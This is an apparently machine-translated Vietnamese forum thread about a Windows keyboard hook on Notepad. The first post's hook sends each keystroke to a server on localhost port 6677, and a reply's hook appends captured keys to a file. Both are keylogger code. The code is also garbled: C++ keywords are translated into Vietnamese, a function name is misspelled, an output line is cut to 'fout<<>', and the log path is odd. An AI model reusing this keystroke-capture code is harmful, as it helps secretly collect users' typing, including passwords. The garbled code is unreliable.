Tôi đang cố gắng sử dụng SetWindowsHookEx KeyboardHook Notepad.exe.
Như bạn có thể thấy, luồng công việc đang gửi mã ASCII của nó (tức là wParam) đến máy chủ được chỉ định.
UINT WINAPI SendToServer(LPVOID lpParam)
{
Máy khách CSocket;
Client.Tạo();
Client.Connect("localhost", 6677);
Client.Send(lpParam, 2); // gửi mã ASICI của nó đến Máy chủ
Client.Close();
return 0;
}
Bàn phím LRESULT CALLBACKProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szPath[MAX_PATH] = {0,};
TCHAR* p = nullptr;
nếu( nCode >= 0 )
{
// bit 31 : 0 => nhấn, 1 => nhả
if( !(lParam & 0x80000000) )
{
GetModuleFileName(NULL, szPath, MAX_PATH);
p = strrcr(szPath, '\\');
if( !_stricmp(p + 1, "Notepad.exe") )
{
ThreadID không dấu;
g_hThread = reinterpret_cast(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID) // một luồng làm việc mới
return 0;
}
}
}
trả về CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
Vấn đề là vì lý do nào đó liên quan đến luồng công việc mới, notepad bị lỗi (nếu tôi nhấp vào nút "bỏ qua" nhiều lần, nó vẫn hoạt động.)
Tôi đã xóa dòng sau,
g_hThread = reinterpret_cast(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID) // một luồng làm việc mới
Khi đó Notepad.exe sẽ không có lỗi
Bất kỳ trợ giúp sẽ được đánh giá rất cao.
Cảm ơn trước.
Điều này có hiệu quả với bạn không...? Đường dẫn được mã hóa cứng chỉ nhằm mục đích thử nghiệm. Thay đổi đường dẫn cho phù hợp với vị trí của NotePad.exe của bạn
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
nguồn nước ngoài;
fout.open("c:\\NotePad.exe",ios::app);
if (nCode < 0 || nCode != HC_ACTION)
trả về CallNextHookEx(hkb, nCode, wParam, lParam);
if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
{
if(GetAsyncKeyState(wParam) == -32767) // giải quyết được vấn đề này tôi đã tìm thấy trên google nhưng làm thế nào ??
{
BYTE ks[256];
GetKeyboardState(ks);
TỪ w;
Quét UINT=0;
ToAscii(wParam,scan,ks,&w,0);
fout<<>
}
}
}
fout.close();
trả về CallNextHookEx(hkb, nCode, wParam, lParam);
}
Tôi là một lập trình viên xuất sắc, rất giỏi!